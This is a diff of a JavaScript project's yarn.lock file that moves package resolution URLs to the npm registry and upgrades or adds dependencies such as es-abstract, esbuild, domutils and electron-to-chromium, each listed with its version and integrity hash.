-  resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-3.0.0.tgz#addebead72a6574db783639dc87a121773973961"
+  resolved "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz"
   integrity sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==
   dependencies:
     esutils "^2.0.2"
 
 dom-accessibility-api@^0.5.9:
   version "0.5.14"
-  resolved "https://registry.yarnpkg.com/dom-accessibility-api/-/dom-accessibility-api-0.5.14.tgz#56082f71b1dc7aac69d83c4285eef39c15d93f56"
+  resolved "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.14.tgz"
   integrity sha512-NMt+m9zFMPZe0JcY9gN224Qvk6qLIdqex29clBvc/y75ZBX9YA9wNK3frsYvu2DI1xcCIwxwnX+TlsJ2DSOADg==
 
+dom-serializer@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz"
+  integrity sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==
+  dependencies:
+    domelementtype "^2.3.0"
+    domhandler "^5.0.2"
+    entities "^4.2.0"
+
+domelementtype@^2.3.0:
+  version "2.3.0"
+  resolved "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz"
+  integrity sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==
+
 domexception@^4.0.0:
   version "4.0.0"
-  resolved "https://registry.yarnpkg.com/domexception/-/domexception-4.0.0.tgz#4ad1be56ccadc86fc76d033353999a8037d03673"
+  resolved "https://registry.npmjs.org/domexception/-/domexception-4.0.0.tgz"
   integrity sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw==
   dependencies:
     webidl-conversions "^7.0.0"
 
+domhandler@^5.0.2, domhandler@^5.0.3:
+  version "5.0.3"
+  resolved "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz"
+  integrity sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==
+  dependencies:
+    domelementtype "^2.3.0"
+
+domutils@^3.0.1, domutils@^3.1.0:
+  version "3.2.2"
+  resolved "https://registry.npmjs.org/domutils/-/domutils-3.2.2.tgz"
+  integrity sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==
+  dependencies:
+    dom-serializer "^2.0.0"
+    domelementtype "^2.3.0"
+    domhandler "^5.0.3"
+
 dreamopt@~0.6.0:
   version "0.6.0"
-  resolved "https://registry.yarnpkg.com/dreamopt/-/dreamopt-0.6.0.tgz#d813ccdac8d39d8ad526775514a13dda664d6b4b"
+  resolved "https://registry.npmjs.org/dreamopt/-/dreamopt-0.6.0.tgz"
   integrity sha512-KRJa47iBEK0y6ZtgCgy2ykuvMT8c9gj3ua9Dv7vCkclFJJeH2FjhGY2xO5qBoWGahsjCGMlk4Cq9wJYeWxuYhQ==
   dependencies:
     wordwrap ">=0.0.2"
 
+dunder-proto@^1.0.0, dunder-proto@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz"
+  integrity sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==
+  dependencies:
+    call-bind-apply-helpers "^1.0.1"
+    es-errors "^1.3.0"
+    gopd "^1.2.0"
+
 eastasianwidth@^0.2.0:
   version "0.2.0"
-  resolved "https://registry.yarnpkg.com/eastasianwidth/-/eastasianwidth-0.2.0.tgz#696ce2ec0aa0e6ea93a397ffcf24aa7840c827cb"
+  resolved "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz"
   integrity sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==
 
-electron-to-chromium@^1.4.411:
-  version "1.4.418"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.4.418.tgz#9092aca12db25acf02a2ddf9de59f0e4363c9928"
-  integrity sha512-1KnpDTS9onwAfMzW50LcpNtyOkMyjd/OLoD2Kx/DDITZqgNYixY71XNszPHNxyQQ/Brh+FDcUnf4BaM041sdWg==
+ee-first@1.1.1:
+  version "1.1.1"
+  resolved "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz"
+  integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==
+
+ejs@^3.1.10:
+  version "3.1.10"
+  resolved "https://registry.yarnpkg.com/ejs/-/ejs-3.1.10.tgz#69ab8358b14e896f80cc39e62087b88500c3ac3b"
+  integrity sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==
+  dependencies:
+    jake "^10.8.5"
 
-electron-to-chromium@^1.4.668:
-  version "1.4.774"
-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.4.774.tgz#1017d1758aaeeefe5423aa9d67b4b1e5d1d0a856"
-  integrity sha512-132O1XCd7zcTkzS3FgkAzKmnBuNJjK8WjcTtNuoylj7MYbqw5eXehjQ5OK91g0zm7OTKIPeaAG4CPoRfD9M1Mg==
+electron-to-chromium@^1.5.73:
+  version "1.5.143"
+  resolved "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.143.tgz"
+  integrity sha512-QqklJMOFBMqe46k8iIOwA9l2hz57V2OKMmP5eSWcUvwx+mASAsbU+wkF1pHjn9ZVSBPrsYWr4/W/95y5SwYg2g==
 
 emittery@^0.10.2:
   version "0.10.2"
-  resolved "https://registry.yarnpkg.com/emittery/-/emittery-0.10.2.tgz#902eec8aedb8c41938c46e9385e9db7e03182933"
+  resolved "https://registry.npmjs.org/emittery/-/emittery-0.10.2.tgz"
   integrity sha512-aITqOwnLanpHLNXZJENbOgjUBeHocD+xsSJmNrjovKBW5HbSpW3d1pEls7GFQPUWXiwG9+0P4GtHfEqC/4M0Iw==
 
 emittery@^0.13.1:
   version "0.13.1"
-  resolved "https://registry.yarnpkg.com/emittery/-/emittery-0.13.1.tgz#c04b8c3457490e0847ae51fced3af52d338e3dad"
+  resolved "https://registry.npmjs.org/emittery/-/emittery-0.13.1.tgz"
   integrity sha512-DeWwawk6r5yR9jFgnDKYt4sLS0LmHJJi3ZOnb5/JdbYwj3nW+FxQnHIjhBKz8YLC7oRNPVM9NQ47I3CVx34eqQ==
 
+emoji-regex@^10.2.1:
+  version "10.4.0"
+  resolved "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.4.0.tgz"
+  integrity sha512-EC+0oUMY1Rqm4O6LLrgjtYDvcVYTy7chDnM4Q7030tP4Kwj3u/pR6gP9ygnp2CJMK5Gq+9Q2oqmrFJAz01DXjw==
+
 emoji-regex@^8.0.0:
   version "8.0.0"
-  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37"
+  resolved "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz"
   integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==
 
 emoji-regex@^9.2.2:
   version "9.2.2"
-  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-9.2.2.tgz#840c8803b0d8047f4ff0cf963176b32d4ef3ed72"
+  resolved "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz"
   integrity sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==
 
-emojis-list@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/emojis-list/-/emojis-list-3.0.0.tgz#5570662046ad29e2e916e71aae260abdff4f6a78"
-  integrity sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==
+enabled@2.0.x:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/enabled/-/enabled-2.0.0.tgz"
+  integrity sha512-AKrN98kuwOzMIdAizXGI86UFBoo26CL21UM763y1h/GMSJ4/OHU9k2YlsmBpyScFo/wbLzWQJBMCW4+IO3/+OQ==
+
+encodeurl@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz"
+  integrity sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==
+
+encoding-sniffer@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.npmjs.org/encoding-sniffer/-/encoding-sniffer-0.2.0.tgz"
+  integrity sha512-ju7Wq1kg04I3HtiYIOrUrdfdDvkyO9s5XM8QAj/bN61Yo/Vb4vgJxy5vi4Yxk01gWHbrofpPtpxM8bKger9jhg==
+  dependencies:
+    iconv-lite "^0.6.3"
+    whatwg-encoding "^3.1.1"
+
+end-of-stream@^1.1.0:
+  version "1.4.4"
+  resolved "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz"
+  integrity sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==
+  dependencies:
+    once "^1.4.0"
 
-enhanced-resolve@^5.12.0:
-  version "5.14.1"
-  resolved "https://registry.yarnpkg.com/enhanced-resolve/-/enhanced-resolve-5.14.1.tgz#de684b6803724477a4af5d74ccae5de52c25f6b3"
-  integrity sha512-Vklwq2vDKtl0y/vtwjSesgJ5MYS7Etuk5txS8VdKL4AOS1aUlD96zqIfsOSLQsdv3xgMRbtkWM8eG9XDfKUPow==
+enhanced-resolve@^5.15.0:
+  version "5.18.0"
+  resolved "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.18.0.tgz"
+  integrity sha512-0/r0MySGYG8YqlayBZ6MuCfECmHFdJ5qyPh8s8wa5Hnm6SaFLSK1VYCbj+NKp090Nm1caZhD+QTnmxO7esYGyQ==
   dependencies:
     graceful-fs "^4.2.4"
     tapable "^2.2.0"
 
+entities@^4.2.0, entities@^4.5.0:
+  version "4.5.0"
+  resolved "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz"
+  integrity sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==
+
 entities@^4.4.0:
   version "4.4.0"
-  resolved "https://registry.yarnpkg.com/entities/-/entities-4.4.0.tgz#97bdaba170339446495e653cfd2db78962900174"
+  resolved "https://registry.npmjs.org/entities/-/entities-4.4.0.tgz"
   integrity sha512-oYp7156SP8LkeGD0GF85ad1X9Ai79WtRsZ2gxJqtBuzH+98YUV6jkHEKlZkMbcrjJjIVJNIDP/3WL9wQkoPbWA==
 
+env-paths@^2.2.1:
+  version "2.2.1"
+  resolved "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz"
+  integrity sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==
+
 error-ex@^1.3.1:
   version "1.3.2"
-  resolved "https://registry.yarnpkg.com/error-ex/-/error-ex-1.3.2.tgz#b4ac40648107fdcdcfae242f428bea8a14d4f1bf"
+  resolved "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz"
   integrity sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==
   dependencies:
     is-arrayish "^0.2.1"
 
-es-abstract@^1.19.0, es-abstract@^1.20.4:
-  version "1.21.2"
-  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.21.2.tgz#a56b9695322c8a185dc25975aa3b8ec31d0e7eff"
-  integrity sha512-y/B5POM2iBnIxCiernH1G7rC9qQoM77lLIMQLuob0zhp8C56Po81+2Nj0WFKnd0pNReDTnkYryc+zhOzpEIROg==
-  dependencies:
-    array-buffer-byte-length "^1.0.0"
-    available-typed-arrays "^1.0.5"
-    call-bind "^1.0.2"
-    es-set-tostringtag "^2.0.1"
-    es-to-primitive "^1.2.1"
-    function.prototype.name "^1.1.5"
-    get-intrinsic "^1.2.0"
-    get-symbol-description "^1.0.0"
-    globalthis "^1.0.3"
-    gopd "^1.0.1"
-    has "^1.0.3"
-    has-property-descriptors "^1.0.0"
-    has-proto "^1.0.1"
-    has-symbols "^1.0.3"
-    internal-slot "^1.0.5"
-    is-array-buffer "^3.0.2"
+es-abstract@^1.23.3, es-abstract@^1.23.5, es-abstract@^1.23.9:
+  version "1.24.0"
+  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.24.0.tgz#c44732d2beb0acc1ed60df840869e3106e7af328"
+  integrity sha512-WSzPgsdLtTcQwm4CROfS5ju2Wa1QQcVeT37jFjYzdFz1r9ahadC8B8/a4qxJxM+09F18iumCdRmlr96ZYkQvEg==
+  dependencies:
+    array-buffer-byte-length "^1.0.2"
+    arraybuffer.prototype.slice "^1.0.4"
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.8"
+    call-bound "^1.0.4"
+    data-view-buffer "^1.0.2"
+    data-view-byte-length "^1.0.2"
+    data-view-byte-offset "^1.0.1"
+    es-define-property "^1.0.1"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.1.1"
+    es-set-tostringtag "^2.1.0"
+    es-to-primitive "^1.3.0"
+    function.prototype.name "^1.1.8"
+    get-intrinsic "^1.3.0"
+    get-proto "^1.0.1"
+    get-symbol-description "^1.1.0"
+    globalthis "^1.0.4"
+    gopd "^1.2.0"
+    has-property-descriptors "^1.0.2"
+    has-proto "^1.2.0"
+    has-symbols "^1.1.0"
+    hasown "^2.0.2"
+    internal-slot "^1.1.0"
+    is-array-buffer "^3.0.5"
     is-callable "^1.2.7"
-    is-negative-zero "^2.0.2"
-    is-regex "^1.1.4"
-    is-shared-array-buffer "^1.0.2"
-    is-string "^1.0.7"
-    is-typed-array "^1.1.10"
-    is-weakref "^1.0.2"
-    object-inspect "^1.12.3"
-    object-keys "^1.1.1"
-    object.assign "^4.1.4"
-    regexp.prototype.flags "^1.4.3"
-    safe-regex-test "^1.0.0"
-    string.prototype.trim "^1.2.7"
-    string.prototype.trimend "^1.0.6"
-    string.prototype.trimstart "^1.0.6"
-    typed-array-length "^1.0.4"
-    unbox-primitive "^1.0.2"
-    which-typed-array "^1.1.9"
-
-es-abstract@^1.22.1:
-  version "1.22.3"
-  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.22.3.tgz#48e79f5573198de6dee3589195727f4f74bc4f32"
-  integrity sha512-eiiY8HQeYfYH2Con2berK+To6GrK2RxbPawDkGq4UiCQQfZHb6wX9qQqkbpPqaxQFcl8d9QzZqo0tGE0VcrdwA==
-  dependencies:
-    array-buffer-byte-length "^1.0.0"
-    arraybuffer.prototype.slice "^1.0.2"
-    available-typed-arrays "^1.0.5"
-    call-bind "^1.0.5"
-    es-set-tostringtag "^2.0.1"
-    es-to-primitive "^1.2.1"
-    function.prototype.name "^1.1.6"
-    get-intrinsic "^1.2.2"
-    get-symbol-description "^1.0.0"
-    globalthis "^1.0.3"
-    gopd "^1.0.1"
-    has-property-descriptors "^1.0.0"
-    has-proto "^1.0.1"
-    has-symbols "^1.0.3"
-    hasown "^2.0.0"
-    internal-slot "^1.0.5"
-    is-array-buffer "^3.0.2"
-    is-callable "^1.2.7"
-    is-negative-zero "^2.0.2"
-    is-regex "^1.1.4"
-    is-shared-array-buffer "^1.0.2"
-    is-string "^1.0.7"
-    is-typed-array "^1.1.12"
-    is-weakref "^1.0.2"
-    object-inspect "^1.13.1"
+    is-data-view "^1.0.2"
+    is-negative-zero "^2.0.3"
+    is-regex "^1.2.1"
+    is-set "^2.0.3"
+    is-shared-array-buffer "^1.0.4"
+    is-string "^1.1.1"
+    is-typed-array "^1.1.15"
+    is-weakref "^1.1.1"
+    math-intrinsics "^1.1.0"
+    object-inspect "^1.13.4"
     object-keys "^1.1.1"
-    object.assign "^4.1.4"
-    regexp.prototype.flags "^1.5.1"
-    safe-array-concat "^1.0.1"
-    safe-regex-test "^1.0.0"
-    string.prototype.trim "^1.2.8"
-    string.prototype.trimend "^1.0.7"
-    string.prototype.trimstart "^1.0.7"
-    typed-array-buffer "^1.0.0"
-    typed-array-byte-length "^1.0.0"
-    typed-array-byte-offset "^1.0.0"
-    typed-array-length "^1.0.4"
-    unbox-primitive "^1.0.2"
-    which-typed-array "^1.1.13"
-
-es-get-iterator@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/es-get-iterator/-/es-get-iterator-1.1.3.tgz#3ef87523c5d464d41084b2c3c9c214f1199763d6"
-  integrity sha512-sPZmqHBe6JIiTfN5q2pEi//TwxmAFHwj/XEuYjTuse78i8KxaqMTTzxPoFKuzRpDpTJ+0NAbpfenkmH2rePtuw==
-  dependencies:
-    call-bind "^1.0.2"
-    get-intrinsic "^1.1.3"
-    has-symbols "^1.0.3"
-    is-arguments "^1.1.1"
-    is-map "^2.0.2"
-    is-set "^2.0.2"
-    is-string "^1.0.7"
-    isarray "^2.0.5"
-    stop-iteration-iterator "^1.0.0"
+    object.assign "^4.1.7"
+    own-keys "^1.0.1"
+    regexp.prototype.flags "^1.5.4"
+    safe-array-concat "^1.1.3"
+    safe-push-apply "^1.0.0"
+    safe-regex-test "^1.1.0"
+    set-proto "^1.0.0"
+    stop-iteration-iterator "^1.1.0"
+    string.prototype.trim "^1.2.10"
+    string.prototype.trimend "^1.0.9"
+    string.prototype.trimstart "^1.0.8"
+    typed-array-buffer "^1.0.3"
+    typed-array-byte-length "^1.0.3"
+    typed-array-byte-offset "^1.0.4"
+    typed-array-length "^1.0.7"
+    unbox-primitive "^1.1.0"
+    which-typed-array "^1.1.19"
+
+es-define-property@^1.0.0, es-define-property@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz"
+  integrity sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==
 
-es-iterator-helpers@^1.0.12:
-  version "1.0.15"
-  resolved "https://registry.yarnpkg.com/es-iterator-helpers/-/es-iterator-helpers-1.0.15.tgz#bd81d275ac766431d19305923707c3efd9f1ae40"
-  integrity sha512-GhoY8uYqd6iwUl2kgjTm4CZAf6oo5mHK7BPqx3rKgx893YSsy0LGHV6gfqqQvZt/8xM8xeOnfXBCfqclMKkJ5g==
-  dependencies:
-    asynciterator.prototype "^1.0.0"
-    call-bind "^1.0.2"
-    define-properties "^1.2.1"
-    es-abstract "^1.22.1"
-    es-set-tostringtag "^2.0.1"
-    function-bind "^1.1.1"
-    get-intrinsic "^1.2.1"
-    globalthis "^1.0.3"
-    has-property-descriptors "^1.0.0"
-    has-proto "^1.0.1"
-    has-symbols "^1.0.3"
-    internal-slot "^1.0.5"
-    iterator.prototype "^1.1.2"
-    safe-array-concat "^1.0.1"
+es-errors@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz"
+  integrity sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==
 
-es-set-tostringtag@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/es-set-tostringtag/-/es-set-tostringtag-2.0.1.tgz#338d502f6f674301d710b80c8592de8a15f09cd8"
-  integrity sha512-g3OMbtlwY3QewlqAiMLI47KywjWZoEytKr8pf6iTC8uJq5bIAH52Z9pnQ8pVL6whrCto53JZDuUIsifGeLorTg==
+es-object-atoms@^1.0.0, es-object-atoms@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz"
+  integrity sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==
   dependencies:
-    get-intrinsic "^1.1.3"
-    has "^1.0.3"
-    has-tostringtag "^1.0.0"
+    es-errors "^1.3.0"
 
-es-shim-unscopables@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/es-shim-unscopables/-/es-shim-unscopables-1.0.0.tgz#702e632193201e3edf8713635d083d378e510241"
-  integrity sha512-Jm6GPcCdC30eMLbZ2x8z2WuRwAws3zTBBKuusffYVUrNj/GVSUAZ+xKMaUpfNDR5IbyNA5LJbaecoUVbmUcB1w==
+es-set-tostringtag@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz#f31dbbe0c183b00a6d26eb6325c810c0fd18bd4d"
+  integrity sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==
   dependencies:
-    has "^1.0.3"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
+    has-tostringtag "^1.0.2"
+    hasown "^2.0.2"
 
-es-to-primitive@^1.2.1:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz#e55cd4c9cdc188bcefb03b366c736323fc5c898a"
-  integrity sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==
+es-to-primitive@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.3.0.tgz#96c89c82cc49fd8794a24835ba3e1ff87f214e18"
+  integrity sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==
   dependencies:
-    is-callable "^1.1.4"
-    is-date-object "^1.0.1"
-    is-symbol "^1.0.2"
+    is-callable "^1.2.7"
+    is-date-object "^1.0.5"
+    is-symbol "^1.0.4"
 
 es5-ext@0.8.x:
   version "0.8.2"
-  resolved "https://registry.yarnpkg.com/es5-ext/-/es5-ext-0.8.2.tgz#aba8d9e1943a895ac96837a62a39b3f55ecd94ab"
+  resolved "https://registry.npmjs.org/es5-ext/-/es5-ext-0.8.2.tgz"
   integrity sha512-H19ompyhnKiBdjHR1DPHvf5RHgHPmJaY9JNzFGbMbPgdsUkvnUCN1Ke8J4Y0IMyTwFM2M9l4h2GoHwzwpSmXbA==
 
-escalade@^3.1.1:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.1.1.tgz#d8cfdc7000965c5a0174b4a82eaa5c0552742e40"
-  integrity sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==
+esbuild@^0.25.0:
+  version "0.25.0"
+  resolved "https://registry.npmjs.org/esbuild/-/esbuild-0.25.0.tgz"
+  integrity sha512-BXq5mqc8ltbaN34cDqWuYKyNhX8D/Z0J1xdtdQ8UcIIIyJyz+ZMKUt58tF3SrZ85jcfN/PZYhjR5uDQAYNVbuw==
+  optionalDependencies:
+    "@esbuild/aix-ppc64" "0.25.0"
+    "@esbuild/android-arm" "0.25.0"
+    "@esbuild/android-arm64" "0.25.0"
+    "@esbuild/android-x64" "0.25.0"
+    "@esbuild/darwin-arm64" "0.25.0"
+    "@esbuild/darwin-x64" "0.25.0"
+    "@esbuild/freebsd-arm64" "0.25.0"
+    "@esbuild/freebsd-x64" "0.25.0"
+    "@esbuild/linux-arm" "0.25.0"
+    "@esbuild/linux-arm64" "0.25.0"
+    "@esbuild/linux-ia32" "0.25.0"
+    "@esbuild/linux-loong64" "0.25.0"
+    "@esbuild/linux-mips64el" "0.25.0"
+    "@esbuild/linux-ppc64" "0.25.0"
+    "@esbuild/linux-riscv64" "0.25.0"
+    "@esbuild/linux-s390x" "0.25.0"
+    "@esbuild/linux-x64" "0.25.0"
+    "@esbuild/netbsd-arm64" "0.25.0"
+    "@esbuild/netbsd-x64" "0.25.0"
+    "@esbuild/openbsd-arm64" "0.25.0"
+    "@esbuild/openbsd-x64" "0.25.0"
+    "@esbuild/sunos-x64" "0.25.0"
+    "@esbuild/win32-arm64" "0.25.0"
+    "@esbuild/win32-ia32" "0.25.0"
+    "@esbuild/win32-x64" "0.25.0"
+
+escalade@^3.1.1, escalade@^3.2.0:
+  version "3.2.0"
+  resolved "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz"
+  integrity sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==
 
-escalade@^3.1.2:
-  version "3.1.2"
-  resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.1.2.tgz#54076e9ab29ea5bf3d8f1ed62acffbb88272df27"
-  integrity sha512-ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA==
+escape-html@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz"
+  integrity sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==
 
 escape-string-regexp@^1.0.5:
   version "1.0.5"
-  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
+  resolved "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz"
   integrity sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==
 
 escape-string-regexp@^2.0.0:
   version "2.0.0"
-  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz#a30304e99daa32e23b2fd20f51babd07cffca344"
+  resolved "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz"
   integrity sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==
 
 escape-string-regexp@^4.0.0:
   version "4.0.0"
-  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34"
+  resolved "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz"
   integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==
 
-escodegen@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/escodegen/-/escodegen-2.0.0.tgz#5e32b12833e8aa8fa35e1bf0befa89380484c7dd"
-  integrity sha512-mmHKys/C8BFUGI+MAWNcSYoORYLMdPzjrknd2Vc+bUsjN5bXcr8EhrNB+UTqfL1y3I9c4fw2ihgtMPQLBRiQxw==
+escodegen@^2.0.0, escodegen@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz"
+  integrity sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==
   dependencies:
     esprima "^4.0.1"
     estraverse "^5.2.0"
     esutils "^2.0.2"
-    optionator "^0.8.1"
   optionalDependencies:
     source-map "~0.6.1"
 
-eslint-config-next@^13.5.6:
-  version "13.5.6"
-  resolved "https://registry.yarnpkg.com/eslint-config-next/-/eslint-config-next-13.5.6.tgz#3a5a6222d5cb32256760ad68ab8e976e866a08c8"
-  integrity sha512-o8pQsUHTo9aHqJ2YiZDym5gQAMRf7O2HndHo/JZeY7TDD+W4hk6Ma8Vw54RHiBeb7OWWO5dPirQB+Is/aVQ7Kg==
-  dependencies:
-    "@next/eslint-plugin-next" "13.5.6"
